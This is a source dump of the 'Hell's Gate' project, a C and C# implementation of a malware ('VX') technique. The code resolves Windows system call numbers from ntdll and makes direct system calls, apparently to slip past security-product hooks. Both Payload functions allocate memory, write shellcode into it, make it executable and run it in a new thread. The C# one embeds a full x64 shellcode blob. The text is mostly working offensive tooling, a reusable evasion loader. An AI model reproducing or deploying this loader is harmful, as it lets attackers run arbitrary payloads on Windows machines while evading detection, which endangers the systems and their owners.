if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// check if ret, in this case we are also probaly too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
cw++;
};
}
}
return TRUE;
}
BOOL Payload(PVX_TABLE pVxTable) {
NTSTATUS status = 0x00000000;
char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
// Allocate memory for the shellcode
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
// Write Memory
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
// Change page permissions
ULONG ulOldProtect = 0;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
// Create thread
HANDLE hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);
return TRUE;
}
PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
char* d = dest;
const char* s = src;
if (d < s)
while (len--)
*d++ = *s++;
else {
char* lasts = s + (len - 1);
char* lastd = d + (len - 1);
while (len--)
*lastd-- = *lasts--;
}
return dest;
}

337
Hells Gate/C Implementation/HellsGate/structs.h Normal file
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#pragma once
#include <Windows.h>
/*--------------------------------------------------------------------
STRUCTURES
--------------------------------------------------------------------*/
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PPEB_LDR_DATA LoaderData;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PVOID FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID** ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, * PPEB;
typedef struct __CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
ULONG Flags;
PCHAR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME {
ULONG Flags;
struct _TEB_ACTIVE_FRAME* Previous;
PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
typedef struct _GDI_TEB_BATCH {
ULONG Offset;
ULONG HDC;
ULONG Buffer[310];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;
typedef PVOID PACTIVATION_CONTEXT;
typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
PACTIVATION_CONTEXT ActivationContext;
ULONG Flags;
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
typedef struct _ACTIVATION_CONTEXT_STACK {
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
LIST_ENTRY FrameListCache;
ULONG Flags;
ULONG NextCookieSequenceNumber;
ULONG StackId;
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
typedef struct _TEB {
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG User32Reserved[26];
ULONG UserReserved[5];
PVOID WOW32Reserved;
LCID CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[54];
LONG ExceptionCode;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
ULONG TxFsContext;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
#else
ACTIVATION_CONTEXT_STACK ActivationContextStack;
UCHAR SpareBytes1[24];
#endif
GDI_TEB_BATCH GdiTebBatch;
CLIENT_ID RealClientId;
PVOID GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocalInfo;
PSIZE_T Win32ClientInfo[62];
PVOID glDispatchTable[233];
PSIZE_T glReserved1[29];
PVOID glReserved2;
PVOID glSectionInfo;
PVOID glSection;
PVOID glTable;
PVOID glCurrentRC;
PVOID glContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[261];
PVOID DeallocationStack;
PVOID TlsSlots[64];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[2];
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG HardErrorMode;
#else
ULONG HardErrorsAreDisabled;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
GUID ActivityId;
PVOID SubProcessTag;
PVOID EtwLocalData;
PVOID EtwTraceData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PVOID Instrumentation[14];
PVOID SubProcessTag;
PVOID EtwLocalData;
#else
PVOID Instrumentation[16];
#endif
PVOID WinSockData;
ULONG GdiBatchCount;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
BOOLEAN SpareBool0;
BOOLEAN SpareBool1;
BOOLEAN SpareBool2;
#else
BOOLEAN InDbgPrint;
BOOLEAN FreeStackOnTermination;
BOOLEAN HasFiberData;
#endif
UCHAR IdealProcessor;
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG GuaranteedStackBytes;
#else
ULONG Spare3;
#endif
PVOID ReservedForPerf;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID SavedPriorityState;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR ThreadPoolData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
ULONG_PTR SparePointer1;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR SoftPatchPtr2;
#else
Wx86ThreadState Wx86Thread;
#endif
PVOID* TlsExpansionSlots;
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
PVOID DeallocationBStore;
PVOID BStoreLimit;
#endif
ULONG ImpersonationLocale;
ULONG IsImpersonating;
PVOID NlsCache;
PVOID pShimData;
ULONG HeapVirtualAffinity;
HANDLE CurrentTransactionHandle;
PTEB_ACTIVE_FRAME ActiveFrame;
#if (NTDDI_VERSION >= NTDDI_WS03)
PVOID FlsData;
#endif
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## Hell's Gate ##
Original C Implementation of the Hell's Gate VX Technique
<br />
<br />
Link to the paper: https://vxug.fakedoma.in/papers/hells-gate.pdf
<br /> PDF also included in this repository.
<br />
<br />
Authors:
* Paul Laîné (@am0nsec)
* smelly__vx (@RtlMateusz)
<br />
### Update ###
Please note:
* We are not claiming that this is ground-breaking as many people have been using this kind of technique for many years;
* We are not claiming that this is the perfect and most optimised way to archive the objective. This is just one example on how to implementation the technique;
* Judging the idea/technique/project/research solely on the name is petty to say the least and definitively childish; and
* Any recommendation and/or ideas will always be welcome, just open an issue in this repository.

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## C# Hell's Gate ##
C# Implementation of the Hell's Gate VX Technique
<br />
<br />
Link to the paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf
<br /> PDF also included in this repository.
<br />
<br />
Link to the original C implementation: https://github.com/am0nsec/HellsGate
<br />
<br />

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Microsoft Visual Studio Solution File, Format Version 12.00
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MinimumVisualStudioVersion = 10.0.40219.1
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EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Release|Any CPU.Build.0 = Release|Any CPU
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GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
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GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {CA2A2F5F-A135-4771-A014-A6F2C0D24538}
EndGlobalSection
EndGlobal

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Hells Gate/C# Implementation/SharpHellsGate/HellsGate.cs Normal file
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using System;
using SharpHellsGate.Win32;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Reflection;
using System.Runtime.CompilerServices;
namespace SharpHellsGate {
/// <summary>
/// Main implementation of the Hell's Gate technique.
/// Responsible for generating a RWX memory region, inject and execute system call stubs.
/// </summary>
public class HellsGate {
/// <summary>
/// Used to check if the RWX memory region was generated.
/// </summary>
private bool IsGateReady { get; set; } = false;
/// <summary>
/// Used as for mutual exclusion while injecting and execution of the system call stub in memory.
/// </summary>
private object Mutant { get; set; } = new object();
/// <summary>
///
/// </summary>
private Dictionary<UInt64, Util.APITableEntry> APITable { get; set; } = new Dictionary<ulong, Util.APITableEntry>() { };
/// <summary>
/// Address of the managed method that was JIT'ed.
/// </summary>
private IntPtr MangedMethodAddress { get; set; } = IntPtr.Zero;
/// <summary>
/// Address of the RWX memory region after JIT compiling the managed method.
/// </summary>
private IntPtr UnmanagedMethodAddress { get; set; } = IntPtr.Zero;
/// <summary>
/// This function will be JIT at runtime to create RWX memory region.
/// </summary>
//// <returns>Gate returns either STATUS_SUCCESS or an error status code.</returns>
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private static UInt32 Gate() {
return new UInt32();
}
/// <summary>
/// Inject in memory a basic system call stub and return a delegate for execution via un-managed code.
/// </summary>
/// <typeparam name="T">The desired delegate Type.</typeparam>
/// <param name="syscall">The system call to execute.</param>
/// <returns>A delegate of to execute the system call.</returns>
private T NtInvocation<T>(Int16 syscall) where T: Delegate {
if (!this.IsGateReady || this.UnmanagedMethodAddress == IntPtr.Zero) {
Util.LogError("Unable to inject system call stub");
return default;
}
Span<byte> stub = stackalloc byte[24] {
0x4c, 0x8b, 0xd1, // mov r10, rcx
0xb8, (byte)syscall, (byte)(syscall >> 8), 0x00, 0x00, // mov eax, <syscall
0xf6, 0x04, 0x25, 0x08, 0x03, 0xfe, 0x7f, 0x01, // test byte ptr [SharedUserData+0x308],1
0x75, 0x03, // jne ntdll!<function>+0x15
0x0f, 0x05, // syscall
0xc3, // ret
0xcd, 0x2e, // int 2Eh
0xc3 // ret
};
Marshal.Copy(stub.ToArray(), 0, this.UnmanagedMethodAddress, stub.Length);
return Marshal.GetDelegateForFunctionPointer<T>(this.UnmanagedMethodAddress);
}
/// <summary>
/// Managed wrapper around the NtAllocateVirtualMemory native Windows function
/// </summary>
/// <param name="ProcessHandle">A handle for the process for which the mapping should be done.</param>
/// <param name="BaseAddress">A pointer to a variable that will receive the base address of the allocated region of pages.</param>
/// <param name="ZeroBits">The number of high-order address bits that must be zero in the base address of the section view.</param>
/// <param name="RegionSize">A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages.</param>
/// <param name="AllocationType">A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages.</param>
/// <param name="Protect">A bitmask containing page protection flags that specify the protection desired for the committed region of pages.</param>
/// <returns>NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
private UInt32 NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect) {
lock (this.Mutant) {
Int16 syscall = this.APITable[Util.NtAllocateVirtualMemoryHash].Syscall;
if (syscall == 0x0000)
return Macros.STATUS_UNSUCCESSFUL;
DFunctions.NtAllocateVirtualMemory Func = NtInvocation<DFunctions.NtAllocateVirtualMemory>(syscall);
return Func(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
}
}
/// <summary>
/// Managed wrapper around the NtProtectVirtualMemory native Windows function.
/// </summary>
/// <param name="ProcessHandle">Handle to Process Object opened with PROCESS_VM_OPERATION access.</param>
/// <param name="BaseAddress">Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address.</param>
/// <param name="NumberOfBytesToProtect">Pointer to size of region to protect. On output will be round to page size (4KB).</param>
/// <param name="NewAccessProtection">One or some of PAGE_... attributes.</param>
/// <param name="OldAccessProtection">Receive previous protection.</param>
/// <returns>NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
private UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr NumberOfBytesToProtect, UInt32 NewAccessProtection, ref UInt32 OldAccessProtection) {
lock (this.Mutant) {
Int16 syscall = this.APITable[Util.NtProtectVirtualMemoryHash].Syscall;
if (syscall == 0x0000)
return Macros.STATUS_UNSUCCESSFUL;
DFunctions.NtProtectVirtualMemory Func = NtInvocation<DFunctions.NtProtectVirtualMemory>(syscall);
return Func(ProcessHandle, ref BaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, out OldAccessProtection);
}
}
/// <summary>
/// Managed wrapper around the NtCreateThreadEx native Windows function.
/// </summary>
/// <param name="hThread">Caller supplied storage for the resulting handle.</param>
/// <param name="DesiredAccess">Specifies the allowed or desired access to the thread.</param>
/// <param name="ObjectAttributes">Initialized attributes for the object.</param>
/// <param name="ProcessHandle">Handle to the threads parent process.</param>
/// <param name="lpStartAddress">Address of the function to execute.</param>
/// <param name="lpParameter">Parameters to pass to the function.</param>
/// <param name="CreateSuspended">Whether the thread will be in suspended mode and has to be resumed later.</param>
/// <param name="StackZeroBits"></param>
/// <param name="SizeOfStackCommit">Initial stack memory to commit.</param>
/// <param name="SizeOfStackReserve">Initial stack memory to reserve.</param>
/// <param name="lpBytesBuffer"></param>
/// <returns>NtCreateThreadEx returns either STATUS_SUCCESS or an error status code.</returns>
private UInt32 NtCreateThreadEx(ref IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer) {
lock (this.Mutant) {
Int16 syscall = this.APITable[Util.NtCreateThreadExHash].Syscall;
if (syscall == 0x0000)
return Macros.STATUS_UNSUCCESSFUL;
DFunctions.NtCreateThreadEx Func = NtInvocation<DFunctions.NtCreateThreadEx>(syscall);
return Func(ref hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer);
}
}
/// <summary>
/// Managed wrapper around the NtWaitForSingleObject native Windows function.
/// </summary>
/// <param name="ObjectHandle">Open handle to a alertable executive object.</param>
/// <param name="Alertable">If set, calling thread is signaled, so all queued APC routines are executed.</param>
/// <param name="TimeOuts">Time-out interval, in microseconds. NULL means infinite.</param>
/// <returns>NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code.</returns>
private UInt32 NtWaitForSingleObject(IntPtr ObjectHandle, bool Alertable, ref Structures.LARGE_INTEGER TimeOuts) {
lock (this.Mutant) {
Int16 syscall = this.APITable[Util.NtWaitForSingleObjectHash].Syscall;
if (syscall == 0x0000)
return Macros.STATUS_UNSUCCESSFUL;
DFunctions.NtWaitForSingleObject Func = NtInvocation<DFunctions.NtWaitForSingleObject>(syscall);
return Func(ObjectHandle, Alertable, ref TimeOuts);
}
}
/// <summary>
/// .ctor
/// </summary>
/// <param name="Table">The API table that will be used by the multiple function wrapers.</param>
public HellsGate(Dictionary<UInt64, Util.APITableEntry> Table) {
this.APITable = Table;
}
/// <summary>
/// JIT a static method to generate RWX memory segment.
/// </summary>
/// <returns>Whether the memory segment was successfully generated.</returns>
public bool GenerateRWXMemorySegment() {
// Find and JIT the method
MethodInfo method = typeof(HellsGate).GetMethod(nameof(Gate), BindingFlags.Static | BindingFlags.NonPublic);
if (method == null) {
Util.LogError("Unable to find the method");
return false;
}
RuntimeHelpers.PrepareMethod(method.MethodHandle);
// Get the address of the function and check if first opcode == JMP
IntPtr pMethod = method.MethodHandle.GetFunctionPointer();
if (Marshal.ReadByte(pMethod) != 0xe9) {
Util.LogError("Method was not JIT'ed or invalid stub");
return false;
}
Util.LogInfo($"Managed method address: 0x{pMethod:x16}");
// Get address of jited method and stack alignment
Int32 offset = Marshal.ReadInt32(pMethod, 1);
UInt64 addr = (UInt64)pMethod + (UInt64)offset;
while (addr % 16 != 0)
addr++;
Util.LogInfo($"Unmanaged method address: 0x{addr:x16}\n");
this.MangedMethodAddress = method.MethodHandle.GetFunctionPointer();
this.UnmanagedMethodAddress = (IntPtr)addr;
this.IsGateReady = true;
return true;
}
/// <summary>
/// Payload example. In this case this is a basic shellcode self-injection.
/// </summary>
public void Payload() {
if (!this.IsGateReady) {
if (!this.GenerateRWXMemorySegment()) {
Util.LogError("Unable to generate RX memory segment");
return;
}
}
byte[] shellcode = new byte[273] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x00,0xc3
};
Util.LogInfo($"Shellcode size: {shellcode.Length} bytes");
// Allocate Memory
IntPtr pBaseAddres = IntPtr.Zero;
IntPtr Region = (IntPtr)shellcode.Length;
UInt32 ntstatus = NtAllocateVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, IntPtr.Zero, ref Region, Macros.MEM_COMMIT | Macros.MEM_RESERVE, Macros.PAGE_READWRITE);
if (!Macros.NT_SUCCESS(ntstatus)) {
Util.LogError($"Error ntdll!NtAllocateVirtualMemory (0x{ntstatus:0x8})");
return;
}
Util.LogInfo($"Page address: 0x{pBaseAddres:x16}");
// Copy Memory
Marshal.Copy(shellcode, 0, pBaseAddres, shellcode.Length);
Array.Clear(shellcode, 0, shellcode.Length);
// Change memory protection
UInt32 OldAccessProtection = 0;
ntstatus = NtProtectVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, ref Region, Macros.PAGE_EXECUTE_READ, ref OldAccessProtection);
if (!Macros.NT_SUCCESS(ntstatus) || OldAccessProtection != 0x0004) {
Util.LogError($"Error ntdll!NtProtectVirtualMemory (0x{ntstatus:0x8})");
return;
}
IntPtr hThread = IntPtr.Zero;
ntstatus = NtCreateThreadEx(ref hThread, 0x1FFFFF, IntPtr.Zero, Macros.GetCurrentProcess(), pBaseAddres, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
if (!Macros.NT_SUCCESS(ntstatus) || hThread == IntPtr.Zero) {
Util.LogError($"Error ntdll!NtCreateThreadEx (0x{ntstatus:0x8})");
return;
}
Util.LogInfo($"Thread handle: 0x{hThread:x16}\n");
// Wait for one second
Structures.LARGE_INTEGER TimeOut = new Structures.LARGE_INTEGER();
TimeOut.QuadPart = -10000000;
ntstatus = NtWaitForSingleObject(hThread, false, ref TimeOut);
if (ntstatus != 0x00) {
Util.LogError($"Error ntdll!NtWaitForSingleObject (0x{ntstatus:0x8})");
return;
}
}
}
}

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using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace SharpHellsGate.Module {
/// <summary>
/// Used to manipulate and extract information from a memory stream.
/// In this case the memory stream is the NTDLL module.
/// </summary>
public class MemoryUtil : IDisposable {
/// <summary>
/// The memory stream representation of the NTDLL module.
/// </summary>
protected Stream ModuleStream { get; set; }
/// <summary>
/// Dispose the memory stream when no longer needed.
/// </summary>
~MemoryUtil() => Dispose();
/// <summary>
/// Dispose the memory stream when no longer needed.
/// </summary>
public void Dispose() {
this.ModuleStream.Dispose();
this.ModuleStream.Close();
GC.SuppressFinalize(this);
}
/// <summary>
/// Extract a structure from the memory stream.
/// </summary>
/// <typeparam name="T">The Type of the structure to extract.</typeparam>
/// <param name="offset">The offset in the memory stream where the structure is located.</param>
/// <returns>The structure populated or the default structure.</returns>
protected T GetStructureFromBlob<T>(Int64 offset) where T : struct {
Span<byte> bytes = this.GetStructureBytesFromOffset<T>(offset);
if (Marshal.SizeOf<T>() != bytes.Length)
return default;
IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf<T>());
Marshal.Copy(bytes.ToArray(), 0, ptr, bytes.Length);
T s = Marshal.PtrToStructure<T>(ptr);
Marshal.FreeHGlobal(ptr);
return s;
}
/// <summary>
/// Extract the code from a native Windows function.
/// </summary>
/// <param name="offset">The location of the function in the memory stream.</param>
/// <returns>The 24 bytes representing the code of the function.</returns>
protected Span<byte> GetFunctionOpCode(Int64 offset) {
Span<byte> s = stackalloc byte[24];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return s.ToArray();
}
/// <summary>
/// Extract a DWORD value from the memory stream.
/// </summary>
/// <param name="offset">The location of the DWORD in the memory stream.</param>
/// <returns>The value of the DWORD.</returns>
protected UInt32 ReadPtr32(Int64 offset) {
Span<byte> s = stackalloc byte[4];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return BitConverter.ToUInt32(s);
}
/// <summary>
/// Extract a QWORD value from the memory stream.
/// </summary>
/// <param name="offset">The location of the QWORD in the memory stream.</param>
/// <returns>The value of the QWORD.</returns>
protected UInt64 ReadPtr64(Int64 offset) {
Span<byte> s = stackalloc byte[8];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return BitConverter.ToUInt64(s);
}
/// <summary>
/// Extract a WORD value from the memory stream.
/// </summary>
/// <param name="offset">The location of the WORD in the memory stream.</param>
/// <returns>The value of the WORD.</returns>
protected UInt16 ReadUShort(Int64 offset) {
Span<byte> s = stackalloc byte[2];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return BitConverter.ToUInt16(s);
}
/// <summary>
/// Extract an ASCII string from the memory stream.
/// </summary>
/// <param name="offset">The location of the ASCII string in the memory stream.</param>
/// <returns>The ASCII string.</returns>
protected string ReadAscii(Int64 offset) {
int length = 0;
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
while (this.ModuleStream.ReadByte() != 0x00)
length++;
Span<byte> s = length <= 1024 ? stackalloc byte[length] : new byte[length];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return Encoding.ASCII.GetString(s);
}
/// <summary>
/// Extract the byte representation of a structure from the memory stream.
/// </summary>
/// <typeparam name="T">The Type of the structure to extract from the memory stream.</typeparam>
/// <param name="offset">The location of the structure in the memory stream.</param>
/// <returns>The structure as byte span.</returns>
protected Span<byte> GetStructureBytesFromOffset<T>(Int64 offset) where T : struct {
Span<byte> s = stackalloc byte[Marshal.SizeOf<T>()];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return s.ToArray();
}
/// <summary>
/// Get a specific amount of bytes at a specific location in the memory stream.
/// </summary>
/// <param name="offset">The location of the bytes to extract from the memory stream.</param>
/// <param name="size">The number of bytes to extract from the memory stream at a give location.</param>
/// <returns>The desired bytes as a byte span.</returns>
protected Span<byte> GetBytesFromOffset(Int64 offset, int size) {
Span<byte> s = size >= 1024 ? new byte[size] : stackalloc byte[size];
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
this.ModuleStream.Read(s);
return s.ToArray();
}
}
}

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using System;
using System.IO;
using SharpHellsGate.Win32;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Linq;
namespace SharpHellsGate.Module {
/// <summary>
/// Wrapper around the NTDLL module.
